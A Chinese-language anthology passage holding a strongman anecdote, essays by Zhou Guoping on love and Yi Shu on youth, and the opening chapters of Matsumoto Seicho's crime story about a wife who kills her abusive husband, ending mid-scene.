　　打仗期间还有一次，杰克的一个朋友跟他说有五个人——很可能是“铜头蛇”——正在合谋把杰克打一顿，他们在弗里克酒馆的一个包间里策划一起攻击他。杰克骑上马赶到那里。“他没把那几个人打倒，”马隆叔公说，“而是把他们摔倒。杰克只会为了政治或者宗教的问题动拳头。他把用鞭子抽鸭子的人或者只是做事很卑鄙的人摔倒。”也是在内战期间，当摩根的突袭队进入俄亥俄时，一列要去辛辛那提的闷罐车停在哥伦布市的车场上，杰克发现里面挤满了人，是国民警卫队，他们要去保卫俄亥俄与肯塔基两州之间的边界。“那些混账的‘铜头蛇’把这些小伙子关到里面，没空气！”杰克说。他从一条铁路侧线上拆下一段钢轨，像挥着网球拍一样，在每节车厢的侧面都砸了些洞。杰克这样怒气冲天地做起什么事时，有关部门总会装作看不到。“没人想去把像杰克这样的好人抓起来。”马隆叔公说。

　　七十多岁时，杰克 · 费希尔仍然能把重达两百磅的东西伸直胳膊举过头顶。他去世前三年，最后一次在大庭广众之下有了次壮举。当时有个喝醉的马夫赶着一队马走在大街上，马夫撞在双驾横木上翻倒下来，那些马跑开了。杰克比看到这一幕的别人跑得更快，他把那队马拉住了。“我还能抓住它们，”他自豪地说：“只要我能抓住它们，就能不让它们跑。”在他最后的日子里，他对所看到的周围成长起来的软弱的一茬人不怎么瞧得起。他给领去看一个刚出生的曾孙——那是个瘦弱的孩子，重七磅，杰克不屑地哼了一声。“他妈的，”他说，“费希尔家的下一代会是松鼠。”

　　杰克七十七岁那年，他上床睡觉就再也没能下来。他临终前躺在那里时，教士来看他。“你难道不想原谅你的敌人吗？”他问。杰克露出微笑：“我没有敌人，”他说，“我把他们全收拾了。”

从痴迷到依恋

周国平

　　爱有一千个定义，没有一个定义能够把它的内涵穷尽。

　　当然，爱首先是一种痴迷。情人之间必有一种痴迷的心境，和一种依恋的情怀，否则算什么堕入情网呢。可是，仅仅迷恋还不是爱情。好色之徒猎艳，无知少女追星，也有一股迷恋的劲儿，却与爱情风马牛不相及。既是自以为堕入情网的男女，是否真爱也有待岁月检验。一个爱情的生存时间或长或短，但必须有一个最短限度，这是爱情之为爱情的质的保证。小于这个限度，两情无论怎样热烈，也只能算作一时的迷恋，不能称作爱情。

　　所以，爱至少应该是一种相当长久的迷恋。迷恋而又长久，就有了互相的玩味和欣赏，爱便是这样一种乐此不疲的玩味和欣赏。两个相爱者之间必定是常常互相玩味的，而且是不由自主地要玩，越玩越觉得有味。如果有一天觉得索然无味，毫无玩兴，爱就荡然无存了。

　　迷恋越是长久，其中热烈痴迷的成分就越是转化和表现为深深的依恋，这依恋便是痴迷的天长地久的存在形式。由于这深深的依恋，爱又是一种永无休止的惦念。有爱便有牵挂，而且牵挂得似乎毫无理由，近乎神经过敏。你在大风中行走，无端的便担心爱人的屋宇是否坚固。你在睡梦中惊醒，莫名地便忧虑爱人的旅途是否平安。哪怕爱人逼你强韧，你总是放不下心，因为在你眼中她（他）永远比你甚至比一切世人脆弱，你自以为比世人也比她自己更了解她，唯有你洞察那强韧外表掩盖下的脆弱。

　　于是，爱又是一种温柔的呵护。不论男女，真爱的时候必定温柔。爱一个人，就是心疼她，怜她，宠她，所以有“疼爱”、“恋爱”、“宠爱”之说。心疼她，因为她受苦。怜她，因为她弱小。宠爱她，因为她这么信赖地把自己托付给你。女人对男人也一样。再幸运的女人也有受苦的时候，再强大的男人也有弱小的时候，所以温柔的呵护总有其理由和机会。爱本质上是一种指向弱小者的感情，在爱中，占优势的是提供保护的冲动，而非寻找依靠的需要。如果以寻找强大的靠山为鹄的，那么，正因为再强的强者也有弱的时候和方面，使这种结合一开始就隐藏着破裂的必然性。

　　如此看来，爱的确是一种给予和奉献。但是，对于爱者来说，这给予是必需，是内在丰盈的流溢，是一种大满足。温柔也是一种能量，如果得不到释放，便会造成内伤，甚至转化为粗暴和冷酷。好的爱情能使双方的这种能量获得最佳释放，这便是爱情中的幸福境界。因此，真正相爱的人总是庆幸自己所遇恰逢其人，为此而对上天满怀感恩之情。

　　我听见一个声音在嘲笑道：你所说的这种爱早已过时，在当今时代纯属犯傻。好吧，我乐于承认，在当今这个讲究实际的时代，爱便是一种犯傻的能力。可不，犯傻也是一种能力，无此能力的人至多只犯一次傻，然后就学聪明了，从此看破了天下一切男人或女人的真相，不再受爱蒙蔽，而具备这种能力的人即使受挫仍不吸取教训，始终相信世上必有他寻求的真爱。正是因为仍有这些肯犯傻能犯傻的男女存在，所以寻求真爱的努力始终是有希望的。

青春

亦舒

　　杂志上的信箱主持人常接到这样的读者信："小妹已虚度十八年的青春……”

　　其实不论男女，青春岁月均十分宝贵，不可浪掷，切忌虚度，须小心处理。

　　男性的青春亦会遭人耽搁，男人也会老，除出少数强人，名誉地位超卓，挥洒自如，不受年龄困扰之外，一般男人，其实十分不经老。

　　试想想，年过四十，一无事业，二无节蓄，身份岂非比平凡女性更为尴尬，社会对男性要求颇为苛刻，总期望他们做些成绩出来，养家活儿是起码功夫。

　　故对女友忠告：合不来，速分手，别浪费他人青春，他不娶她，也总会找到其他对象，一样照顾他生活起居，一般是幸福家庭，别拖延耽搁人家，待他人老珠黄，还叫他如何成家立室。

　　干脆点，别连累别人，既不说不，又不说是，一方面努力事业，另一方面又希望身边有个人，十年过后，她事业闪烁生光，生活又不愁寂寞，他却一事无成，黯然失色，多不公平。

　　用不着他，最好叫他走，他也统共只得那十多年青春，转瞬即逝。

等我一年半

松本清张

一

　　首先，从事件的本身讲起。

　　被告名叫须村里子，二十九岁，罪名是杀害亲夫。

　　里子在第二次大战时期毕业于某女子专科学校，走出校门后，就当上了一家公司的职员。在战争期间，因为男子被征兵，各公司都缺少人手，所以大量招聘女青年来顶替。

　　战争结束后，从军的男人们陆续归来，作为替身的女职员就渐渐用不着了。两年后，战时雇用的女子一起被辞退，须村里子当然也在其中。

　　但是，她在那里工作时，有一个要好的男同事，于是失业后立刻和他结了婚。此人便是须村要吉，他比里子大三岁，只上过旧制的中学，因而对女子专科学校出身的里子颇为崇拜，是他先向里子求爱的。由此一事即可知道，他是个懦弱的青年。里子当时却被他的那颗心迷住了。

　　婚后八年，夫妇间相安无事地生活着，生有一儿一女。须村要吉工作虽然勤恳，但苦于没有大学学历，只好充当一名出头无望的小职员。他每月薪水虽少，却存了一点钱，日子还过的去。

　　不料到了昭和××年，该公司由于业务萧条，决定裁减员工。一直被视为没有什么才能的须村要吉，和老弱病残者一起失掉了饭碗。

　　须村要吉慌了神，通过走门路，他先后换过两三家公司，但不是工作不对劲，就是待遇太低。不得已之下，须村里子只好重新出去做事。

　　她先当“相互银行”的存款募集员，既干的精疲力竭，又毫无成绩。后来，经过在外面认识的女友介绍，做了一家人寿保险公司的劝募员，专门向客户游说，动员他们参加人寿保险，从而募集保险金。

　　起初并不顺利，后来逐渐取得了成果。这里面的诀窍，是那个当介绍人的老资格女友教给她的。里子不怎么漂亮，可是明眸皓齿一笑起来，自有其魅力。何况她是女专毕业的，是一位知识分子身份的劝募员，劝说客户时的待人接物方式，也让人感到聪明伶俐。因此，她慢慢地博的了客户的好感，工作也容易开展了。本来嘛，保险劝募的要领，就是毅力、魅力和智力。

　　她的月薪，达到了一万二三千日元。里子已尽其所能，但丈夫要吉却完全失了业。他干什么都不能胜任，终于落到无事可做的地步，只好依赖里子的收入。他在家里无所事事，却对妻子唠叨不休：“真对不起，真过意不去……”

　　当然，须村里子的月薪不是固定的，其中只有很少一部分是定薪，大部分工资是浮动的。成绩不好的月份，收入就少的可怜。

　　各家保险公司的劝募员之间，竞争是十分激烈的。竞争的浊流席卷着整个东京都内，没有留下丝毫回旋余地。再要发展新客户，看来已不可能。既然东京都内前景渺茫，何不另辟蹊径呢——须村里子这样想。

　　引起须村里子注意的，是水坝工程的工地。每家电力公司都在开发水力资源，遂使水坝工程成为一股热潮。这类工地是由大型土建公司（名称不是××建设，就是××组）承包的，在每一个施工现场干活的人就有成千上万。他们当中，有的从事高空堤坝作业，有的从事炸药爆破作业，随时都有丧生或受伤的危险。由于他们的工作地点总是在交通不便的深山里，就连机敏的保险劝募员也尚未涉足，不，是尚未发现。

　　正是这块处女地，被独具慧眼的须村里子找到了。她约了要好的女同事，结伴前往邻县深山中的水坝工地。不必说，旅费全部自理。

　　除开萍踪浪迹、漂泊不定的临时工外，土建公司所属的技师、技工、机械师、工地主任等人都是她们的宣传对象。因为他们是公司职员，比较靠得住。

　　在这个崭新的领域内，进展十分顺利。这些人基本上都参加了集体保险，但因为自说身历险境，一经劝说，不费什么周折就答应再加入人寿保险。考虑到分期收费的不便，请他们全年一次付清，于是成绩斐然。

　　须村里子的发现成功了！收入随之倍增，薪金月月打破三万日元。

　　生活总算富裕起来了，与此同时，丈夫须村要吉却变得更懒惰，依赖心更重了。如今他摆出一副衣来伸手、饭来张口的架势，躺在里子的血汗钱上，连找职业的念头也丢弃殆尽，而且日子越久，越心安理得。

　　更有甚者，要吉过去滴酒不沾，现在却学会了喝酒。里子经常出差，让丈夫理财，他就从家用开支里捞取酒资。刚开始每次只拿一些零钱，往后胆子就大了，因为收入也多了嘛。

　　里子心想，自己外出期间，丈夫待在家里的确无聊，所以也就眼开眼闭，不予干涉。况且，里子讨厌男子汉大丈夫像小孩那样偷偷喝酒，这副没出息相似乎令她担忧，所以有时回家后，索性主动劝丈夫上酒店喝。每逢这种时候，要吉就笃笃定定、兴高采烈地走出家门去喝酒。

　　这个要吉，在外面搞上了女人。

二

　　从事后的结果来看，此事须村里子也有一定责任，因为把那个女人介绍给要吉的，正是里子自己。她是里子的旧友。

　　女人名叫胁田静代，是里子当年的同班同学。一天，里子在路上偶然遇见静代，才知道她死了丈夫，现在东京涉谷地区开一家酒店。当时她给里子一张名片。学生时代曾经颇有姿色的静代。如今变得叫人认不出来了：她形容枯槁，两颊尖削——由此，也可推想出酒馆的格局。

　　临别时，里子说：“我改日登门拜访。”静代顺便打听了一下她的收入，表示不胜羡慕。

　　回到家里，她对要吉说了这事。要吉说：“去喝一杯怎么样？既然是你的朋友，总可以便宜一些吧！”边说着，边瞟了里子一眼。

　　里子盘算，反正要喝，最好是找个便宜些的地方，再说静代也会优待的，就回答说：“好吧，去瞧瞧也好。”

　　不久，要吉当真到静代店里去了一趟，回来对里子说：“地方很小，脏得很，五六个客人一坐就挤满了。但酒倒不错，托你的福，价钱真便宜。”

　　当时里子应道，“噢，那很好。”

　　里子每月要到水坝工地去一周左右。人头熟了，就有热心人介绍她到水坝甲、水坝乙、水坝丙等其他工程现场去拉生意，忙的不亦乐乎。收入再也不曾减少过。

　　她把钱如数交给要吉，由他当家。在这一点上，主人与主妇的位置发生了颠倒。事后她深有感触的说，这样是不好的。

　　须村要吉的惰性有增无减，起初只是略施小计骗钱喝酒，日复一日，就发展到为所欲为的地步。里子下班到家，经常看见两个孩子饿得哇哇直哭，因为要吉白天出门后，总是玩到深夜才喷吐着酒气回来。

　　如果里子忍不住责怪几句，要吉就会把脸一沉，以谩骂作为回答：“老子是一家之主，不是他妈的女佣人！不会喝酒，算什么男子汉大丈夫？！你不过赚了几个臭钱，稀罕个屁！”

　　开头几次，里子认为他是出于自卑才发火的，从而也有几分同情，但以后就渐渐地真的生气了。两口子拌嘴的次数也因此增多。要吉为了赌气，故意带着钱喝到深更半夜才醉醺醺归来。而里子下班回家就忙于煮饭、带孩子。逢到去水坝出差，只得把孩子托给邻居照料。

　　里子开始三天两头要遭到丈夫的拳打脚踢了，但更为难熬的，是因为要吉的挥霍，使家庭逐步陷入一贫如洗的境地。尽管每月有三万元的日元收入，却连配给米也买不起。孩子学校的“家长——教师联合会”会费、伙食费，都积欠下来，更谈不上为孩子们添置新衣了。要吉甚至染上一种恶癖：酒醉后便把睡梦中的孩子们拖起来揍。

　　里子不由的暗自思忖：在要吉懦弱的性格里，难道潜伏着如此残暴的因素吗？

　　知情者看不过去，悄悄告诉里子说，要吉在外头有女人了。当里子听说那个女人就是胁田静代时，她仰望苍天，妒火中烧，只对那人说了一句话：“真不敢相信。”

　　事后，她仍装出若无其事的样子，竭力用理智克制着感情的流露；她之所以没有气势汹汹找上门去，把静代家闹个鸡犬不宁，正是出于理智上的自我约束。

　　有一次，里子低声责问要吉，谁知他竟肆无忌惮的说：“静代比你这种人强得多。总有一天，我要把你扔掉，跟她结婚的。”从此，每逢争执起来，要吉总会讲出这种话来。

　　要吉还把衣橱里的衣物一点点拿出去典当，因为里子不在家，他可以胡作非为。里子的衣裳被卖个精光，连替换的都不剩，要吉把典当得来的钱，悉数奉献给那个女人。要吉认识静代才半年，就使这个家变得如此窘困。

　　里子想，世上未必还有象自己这样不幸的女人了，经常为此潸然泪下。她担心儿女将来的前途，愁肠寸断，夜不能寐。即使如此，每天早上她也只好用冷水洗洗浮肿的眼皮，强作欢颜地出去劝募保险金。

　　昭和××年二月的一个寒夜，里子正坐在睡着了的孩子们身边低声哭泣。她回到家里，就不见要吉的人影，一问孩子，才知道他天一黑就离家了。

　　十二点过后，将近午夜一点时分，要吉回来了，在外面敲门。这是两间面积仅有四张半榻榻米的小屋，榻榻米已磨出许多破洞，里子用硬纸板垫着。她踏过榻榻米，走下土间开了门。

　　以后发生的事情，请读者直接看他的供词。

三

　　“丈夫喝得酩酊大醉，两眼发愣，面色铁青。他见我正流泪，就在孩子们的枕头边盘腿坐下，骂了起来：‘哭什么！见我喝完酒回家，就故意挤几滴眼泪，跟我赌气，是吧？’”

　　“我回嘴说：‘辛辛苦苦挣来的钱，一大半给你喝掉了，孩子们的学费也付不出，配给米也买不起，还要天天喝到深更半夜才回来。’我俩经常这样拌嘴，而那天晚上丈夫的火气特别大。”

　　“他暴跳如雷说：‘挣了几个钱，别以为了不起！老子失了业，你就瞧不起老子，老子不是食客！’他还说‘你是吃醋了吧？混账东西，撒泡尿照照，你那副嘴脸连吃醋也不配。’说毕，冷不防搧了我一个耳光。”

　　“我料他又要胡闹了，就把身子缩成一团。他怪笑着说：‘我迟早要和你离婚，跟静代一起过日子，你等着瞧吧！’我忍住了她的侮辱，居然不觉得嫉妒。”

　　“静代现在变成了什么样性情的女子，我不知道，但她绝不可能真打算和这个窝囊废结婚的。丈夫听信了她那套骗钱的鬼话，最后只能落得人财两空，悔之莫及。”

　　“正想着，丈夫又喝道：‘瞧你眼神！这算是老婆的眼神吗？妈的，真气人！’边唤着，边站起身来，朝我的腰眼和胸口踢了几脚。见我被踢的一下子憋住气，不能动弹，就转身用脚呼地勾翻了孩子们的被子。”

　　“朦胧中的孩子们刚睁开眼，就被他揪住衣领狠揍起来。丈夫醉后，经常是这样胡闹发酒疯的。孩子们哭喊着，‘妈妈呀！妈妈呀！’我昏昏沉沉地挣扎着站起来，朝土间走去。”

　　“孩子们未来的不幸，我自身的遭遇，以及一种莫名状的恐惧，全都涌上心头。真是可怕啊！我的手，不由自主地握住了一根木门闩。”

　　“丈夫还在打孩子。七岁的长子叫唤着逃开了，五岁的幼女脸涨得通红，瞪大眼睛，哇哇哭得声嘶力竭，仍在挨揍。”

　　“我猛地抡起门闩，奋力朝丈夫头部打去。他吃了第一棒，摇晃了一下，转身想朝我扑来。我一阵害怕慌忙再打第二棒。”

　　“这一下，丈夫身体一软，合仆倒地。倒下后，还想起身，我更恐惧，又居高临下对他头上打了第三棒。”

　　“他在榻榻米上吐出了鲜血。前后只有五六秒钟工夫，但我就像干完一整天活那样，精疲力竭地瘫坐下来……”

　　须村里子杀害亲夫的犯罪事实，大体如此。

　　她是自首后被捕的。根据她的供词，警视厅搜查一科详细调查了现场，确认供词完全属实。须村要吉的死因，是被橡木棒猛击头部造成后脑头盖骨骨折。

　　自从本案见报后，社会舆论都倒向须村里子。慰问信、素不相识者送的慰问品，大批寄到警视厅。无庸讳言，大部分是妇女寄的。

　　案件移交审判后，同情的呼声更高。实际上，妇女杂志特别起劲，刊载了大量评论文章，当然是站在须村里子一边的。

　　在众多评论家当中，对此本案最感兴趣、发言最多的，是闻名的妇女评论家高森泷子。她自本案见报起就开始发表意见，在各种杂志、尤其是面向妇女的杂志上，详加评论。把她已发表的文章归纳起来，要点如下：

　　“日本家庭中丈夫的专横跋扈，再也没有比本案中的须村要吉表现的淋漓尽致了。他尽管不能自立，不能养家，却拿钱去酗酒，搞情妇。在他的头脑里，什么妻子的不幸、儿女的前途，连影子也没有。更何况这些钱都是妻子含辛茹苦挣得的生活费。

　　“中年男子对疲惫的妻子厌倦了，时常会有外遇，这是不可容忍的悖德行为。日本家族制度的夫权地位，是产生这种私欲的根源。社会上有一部分人，对于这种不道德的恶习尚持宽容态度，必须纠正。

　　“本案尤为残忍的是，须村要吉从情妇家烂醉如泥地回来后，竟敢对独自支撑着生活重担的妻子横施暴力，殴打儿女，简直丧尽天良。

　　“须村里子容忍丈夫发展到如此地步，也是出于所谓妻子美德这种错误的传统观念。她受过高等教育，具有相当的教养，居然也犯此过错。但暂且撇开须村里子的过错不谈，我作为女性，有资格对她的丈夫感到强烈的义愤。里子自己倍受折磨，又亲眼目睹娇儿惨遭毒打——由于对未来的不安与恐惧，她被迫采取的行动是理所当然的。

　　“这一行动，在精神上毋宁说是正当防卫。无论何人，都不会不理解她当时的心情和立场。对她的判决，应当是最大限度地从宽处理。我认为，应该无罪释放。”

　　高森泷子的意见，在妇女界引起共鸣。每天都有许多信函投寄到她的府上，表示完全同意。其中还有不少人，希望她亲自出庭担任须村里子的特别辩护人。

　　高森泷子似乎正因为这一事件而红的发紫。她动员了一批推崇自己的妇女评论家，联名上书审判长，呼吁给须村里子减刑。实质上，她是毛遂自荐，想当特别辩护人。她身着宽大和服的玉照，与被告俯首低头的照片，同时在报纸上放大登出。仿佛受此煽动，全国都向法院投书请愿。

　　判决结果是：“三年徒刑，缓期两年。”须村里子在第一审就表示服罪。

四

　　且说某日，有个陌生男子上门求见高森泷子。起初她推诿没时间，但对方声称是为须村里子一案特向夫人请教的，这才让进客厅会面。来人名片上印着冈岛久男，左侧的地址栏不知何故用墨涂掉了。

　　冈岛久男看上去三十出头，体格健壮，脸庞被阳光晒得黝黑，气色很好。浓眉毛、高鼻梁、厚嘴唇，显示出充沛的精力，两眼像少年一样澄清。这对漂亮的眼睛，赢得了高森泷子的好感。

　　“请问有何贵干？是关于须村里子的事吧？”她用婴儿般肉团团的手指头夹着名片问道。

　　冈岛久男讯即接过话头，态度诚恳的说：“在夫人百忙之中前来打扰，深表歉意。关于须村里子一案，在报刊杂志上拜读了夫人的全部大作，极为钦佩。”

　　“不过，此案了结的很好嘛，判处缓刑。”高森泷子眯着圆脸蛋上的丹凤眼，点头道。

　　“这是夫人的努力，完全是托夫人的福，”冈岛忙说。

　　“不，不，与其说是我的努力，”泷子的塌鼻梁上堆满了皱纹，笑着答道，“不如说是社会正义，是舆论的作用！”

　　“然而，推动社会舆论的正是夫人，所以还是夫人的努力。”

　　高森泷子忍俊不禁，微微一笑，尖尖的下巴颏楚楚动人。唇齿之间，流露出不屑于听对方阿谀的傲慢神情。那种文人名士特有的适可而止的自负与矜持，溢于言表。

　　但是，这位男子究竟为何而来呢？听他的口气，似乎对须村里子很同情。泷子心不在焉地移开视线，望着照射在客厅窗户上春天的阳光。

　　“鄙人对须村里子略知一二。”冈岛久男仿佛觉察到了高森泷子的心情。

　　“我是在须村里子劝说下，加入她那家公司的人寿保险的，因此对这次事件有一个问题尚未完全搞通。”

　　“噢，是吗？”泷子点头表示理解，颈部叠成了双下巴。

　　“那是个和蔼、可亲的好女人，那样的女人居然会杀夫，简直难以令人置信。”冈岛久男谈起了他的印象。

　　“这种人在激情驱使下，是会做出果断举动来的，何况她是忍无可忍。如果是我，处在那个地步，也会忍不住干出同样事情的。”泷子仍旧眯着眼皮说道。

　　“夫人您？”冈岛略微惊讶地扬起眉毛，他的眼神好像很困惑：这位冷静的妇女评论家，一旦她丈夫与情人私通，也会做出那种与平民百姓的老婆同样的偏激举动吗？

　　“是的，火气一上来，理智就失去控制了。里子虽说是女专毕业生，也不例外。”

　　“唔，真是一时冲动。”冈岛瞪着清澈的大眼睛又问：“须村里子是否有什么生理上的原因？”

　　冈岛的两片厚嘴唇里突然蹦出“生理”二字，使泷子不觉有点窘。但她回想起来，当时读过审判记录，作案那天不是里子的经期。

　　“我认为没有那回事。”

　　“不，不是这个意思，”冈岛有点害羞，“我是指普通夫妻间的肉体关系。”

　　泷子脸上的微笑消失了。原来这个男人好象是知道一点内情的，那么他究竟要了解什么呢？于是问道：

　　“你是说，丈夫须村要吉方面生理上有何缺陷吗？”

　　“恰恰相反，我怀疑须村里子方面有什么缺陷。”

　　泷子沉默了一会儿。为了打发时间，她啜了一口刚凉下来的茶，面朝冈岛重新发问：

　　“你有何根据呢？”在对付论敌时，为了发现对方弱点，她总是先持冷静求证的态度。

　　“不，谈不上是根据，”冈岛久男在泷子双目凝视下，口气一下子变软了。

　　“事情是这样的。我认识须村要吉的一个朋友，据他讲，要吉在出事以前，大概是一年半前吧，就发牢骚说，老婆一次也不肯答应他了。因此我想，须村里子方面有什么妨碍夫妇生活的生理缺陷。”

　　“我不知道，”泷子稍嫌厌恶地回答，“作为特别辩护人，我有必要调阅审判记录，那上面并未记载此事。在预审是当然会调查这件事的，但既然没有记载，可见里子并不存在生理缺陷。恐怕是因为要吉与情妇私通，里子才拒绝他的吧？”

　　“不，这是要吉与静代相好之前的事了。所以我觉得可疑。要是里子果真没有生理缺陷，那可真有点奇怪了。”冈岛久男现出沉思的神色。

五

　　高森泷子皱了皱眉头。她的柳叶眉象丹风眼一样纤细，而且淡薄。

　　“奇怪？这是什么意思？”

　　“不知她为什么拒绝丈夫，”冈岛轻声回答。

　　“女人嘛，”泷子用蔑视男子的口气答道，“在夫妇生活上，有时回陷入极度的厌恶感之中。这种微妙的生理上的心理状态，也许男人是不知道的。”

　　“原来如此，”冈岛点头表示理解，但他脸上的表情却透露出仍旧不知其所以然。

　　“里子是在丈夫跟静代勾搭上的半年前，就处于这种状态的。换句话说，里子拒绝了半年后，要吉才和静代私通的。所以我想，这两件事之间存在着因果关系。”

　　冈岛特意使用了因果关系这个奥妙的字眼，其中含义泷子是懂得的。她淡眉紧锁，说道：

　　“的确是存在的，就是说，要吉的不满，在静代那里得到了发泄。”

　　“就算这样吧，”冈岛掏出一支烟，不慌不忙地接着说，“那个胁田静代是里子的老朋友。最初叫要吉到静代店里去的，就是里子。她可能是无意识的，但促使丈夫产生与静代结合的动机者，归根结底还是里子，所以……”

　　冈岛点烟时，泷子眯着的双眼闪烁了一下。

　　“你是想说，里子是有意把丈夫介绍给静代的吗？”

　　“不还不能下那样的结论。但从后果来看似乎至少起到了撮合他们的作用。”

　　“要谈后果，就没有止境了，”泷子不无偏颇地说，“后果往往与本人的意图完全相反。”

　　“是的，是这样，”冈岛和颜悦色地表示赞同。他的两片厚嘴唇之间，喷出缕缕淡蓝色的烟雾。青烟袅袅升入射进窗户的明媚阳光中。

　　“可是，后果不出所料的情形也是有的，”他冷不防又冒出一句。

　　好家伙！泷子暗想，冈岛的谈话方式，使她感到一股憨劲。

　　“那么，你认为里子从一开始就有这种想法？”

　　“一个人的心情，只有本人才清楚，我只是推测罢了。”

　　“推测的依据呢？”

　　“里子给要吉喝酒的钱，叫他到静代店里去喝，虽说只是起初如此……”

　　“那是出于里子的好心！”泷子目光炯炯地抢白，“丈夫失业后闲散在家，妻子为了工作经常得出门远行。她想丈夫一定很无聊，就劝他去喝酒解闷，这完全是人之常情，一片好意。

　　“里子说过，之所以叫他到静代店里去，是因为可省些酒钱，而且反正要喝，不妨让穷朋友赚点钱开开心。这番好意反而遭到恶报，造成那样的后果，真是做梦也想不到。我反对你那种本末倒置的想法。”

　　“好吧，就算是出于里子的宽宏大量，”冈岛又是先同意后反驳，“虽然她是如此好意，要吉偏偏背弃她，去迷恋静代。他把老婆挣来的钱，都花在情妇和酒上了，还要典当财物。眼看生活愈过愈穷，照样去玩女人，每天深夜才回来。

　　“回家后就发酒疯，虐待妻儿。可见里子的宽宏大量危害匪浅，使家道很快败于静代之手。由此可以说，静代是里子不共戴天的仇人。

　　“既然如此，那为什么里子一次也不找静代表示抗议呢？就算达不到抗议的地步，至少可以去求她撒手，她们又不是陌生人，是老朋友嘛！”

　　“这种事是常有的，”高森泷子冷静的应声回答，“社会上的确有些妻子吵到丈夫的情人门上，但这是有失自己身份的蠢事。一个有教养的妇女，是不会不顾廉耻去干这种事的。丈夫的耻辱等于妻子的耻辱。里子是女专毕业的知识分子，她要考虑做妻子的名誉和责任，所以没有做出缺乏教养的冲动行为。”

　　“原来如此，也许是这样，”冈岛久男又暂表同意。

　　“但是，”他重弹起老调，“里子在半年时间里，毫无理由的拒绝丈夫。在这种情况下，又让丈夫结识了胁田静代。一个是开酒店的寡妇，一个是酒色之徒。危险条件凑在一块，两人必然会发生关系。里子仿佛在冷眼旁观，并不找那个女人算账。由此看来，她似乎是存心这么做的。”

六

　　高森泷子半打瞌睡似的细眼缝间泄出敌意。她的客厅内，洋溢着一种精心布置而成的安谧协调气氛。墙壁的色调、镜框里的绘画、招待客人的器皿、四周的摆设，无一不显示出主人高雅的情趣。

　　然而现在，作为此地的女主人，她却与这种气氛格格不入，表情焦躁不安。

　　“所谓的‘存心’，是否指里子在执行某种计划？”泷子迅速反击。

　　“这是推论，根据现有材料的推论……”

　　“这是根据非常不可靠的材料的推论，”泷子打断了冈岛。

　　“一个人是好是坏，我只要见过一面，心里就大致有点数了。着手为此案辩护以来，我不仅读了大量的调查材料，还作为特别辩护人多次会见里子。

　　“在记录里，全然没有你这种荒谬的推测。而且，每次和里子见面，就会被她那贤淑的人品所感动。那对清如秋水的瞳仁，正是纯洁的象征。

　　“这样好的人为什么要受到丈夫残暴的折磨呢？我又一次对她的丈夫感到义愤。这样漂亮而有教养的妇女是不多见的，我相信自己的直觉。”

　　“关于里子具有良好教养，的确如此，我也有同感。”冈岛掀动着厚嘴唇说道。

　　“你究竟是在哪儿认识里子的？”

　　“刚才已经简单介绍过，我是在她劝说下加入人寿保险的。忘记说的是，我在东北山区一个水坝建设工地做事，是某公司的技工。”冈岛久男这才亮出自己的身份。

　　“我们在山区的生活，除了工作之外，简直枯燥无味。”他继续说：

　　“因为，要到某个通铁路的小镇去，必须搭卡车在山路上颠簸一个半钟点。工作完毕，夜幕降临后，没有任何乐趣而言，仅仅过着吃饭、睡觉的生活。

　　“其中也有人读书，那是被周围无聊的气氛逐渐逼出来的。晚上，下象棋搓麻将之风盛行。每月两天休假时，大伙就到一里开外山脚下的小村子里，走进那些以水坝工地为目标而匆匆建立的、来路不明的人家中去，开怀畅饮，每人每次可以花费一万至两万日元。

　　“然后，再慢吞吞上山回工地，谁也没有满足的感觉。我们从学校毕业，是出于爱好才从事这一工作的；但从这座山辗转到那座山，结果却使人更加留恋大城市了。徒有雄伟的山川，生活并不美满。”

　　冈岛的声调不知何时变得低沉了。

　　“谈恋爱的也不是没有，但对象都是附近村里老百姓的女儿，一无知识，二无教养，只因为是女人，便讨来做老婆了。在那种境遇里，也无可奈何，但没有一对是美满的。这些同事先是懊悔，后认命，可悲可叹呵！”

　　泷子默默地听着，肥胖的身躯稍微挪动了一下，椅子轧轧作响。

　　“在那里出现了两个女人——须村里子和藤井。她们为劝募保险金，从东京远道而来。年轻的里子获得了所有人的好感，藤井因为年近四十，徐娘半老，人缘没那么好。

　　“里子不算美丽，但容貌很讨男人喜欢，谈吐之中也透着股聪明伶俐劲儿。她并未有意炫耀这一点，反而使人感到是真正发自内心的。奇妙的是，连她的长相好像也变的漂亮起来了。不，在山区的确算得上是个美人了。而且，她的话语中的抑扬顿挫，甚至一举手一投足，都属于久违多时的东京女人的气派，难怪众人的好感都要集中在她的身上。

　　“她无论对谁都是笑脸相迎。当然，这是职业上的需要。大家尽管明知如此，却都很喜欢他，许多人不仅心甘情愿参加保险，还主动向她介绍熟人或朋友，我猜想，她的成绩一定超过指标。里子一两个月露一次面，每次都大受欢迎。似乎是为了报答众人的盛情，她不时带来糖果礼品，虽然这是区区零食，大伙也很欣赏。有人甚至一看见东京百货公司的包装纸，就会想念起她来。”

　　说到这儿，冈岛煞住话头，把剩下的冷茶一饮而尽。

　　“但是，得到众人的好感的另一个原因，在于她本身——她亲口说过，自己是寡妇。”

　　高森泷子半闭的眼睛张开了，注视着冈岛久男的脸。

　　“这也是出于无奈。劝募保险嘛，个人的魅力也是举足轻重的。极言之，正如那些茶店老板娘，那个不说自己是独身？里子曾含笑谈起，正因为自己独身，才出来干这种工作。当时，谁也没怀疑过她的话。所以，甚至有人给她寄去了情书。”

七

　　冈岛把熄灭的烟头重新点燃，继续讲下去：

　　“不待说，里子从没有透露过自己的住址，所以那些信都寄到了保险公司。这种小小的隐瞒是应该容忍的，是因为职业所迫。不过，这样显然造成了好几名男子追求她。

　　“其中有人央求她不要和藤井同来，一个人单独来，她们的下榻处，是供视察现场者住的孤零零一间宿舍，有人就闯进门去，纠缠到半夜才走。

　　“但是，里子总是有办法面带笑容地战胜那些诱惑。职业不允许她得罪对方，但她深知如何机智巧妙地摆脱这类求爱者。可以断言，里子绝不是不贞的女子，然而……”

　　说着，冈岛的声音稍有改变，陷入沉思之中，同时又在喃喃自语：

　　“然而在水坝工地上，有许多出色的人，他们献身于工作，敢于向重峦迭嶂的大自然开战，用人力改造大自然。他们才是名副其实的男子汉！

　　“每逢看见这样的男人，里子心目中一定会浮现出自己的那位吊儿郎当、令人厌恶的丈夫，两相对照，泾渭分明：一边是气宇轩昂，一边是形容猥琐……”

　　“我插一句，”妇女评论家泷子打断了冈岛的话，显然表示不满，“这是你的想象吧？”

　　“是我的想象。”

　　“既然是想象，我可没有闲工夫洗耳恭听，此刻还有别的事呢。”

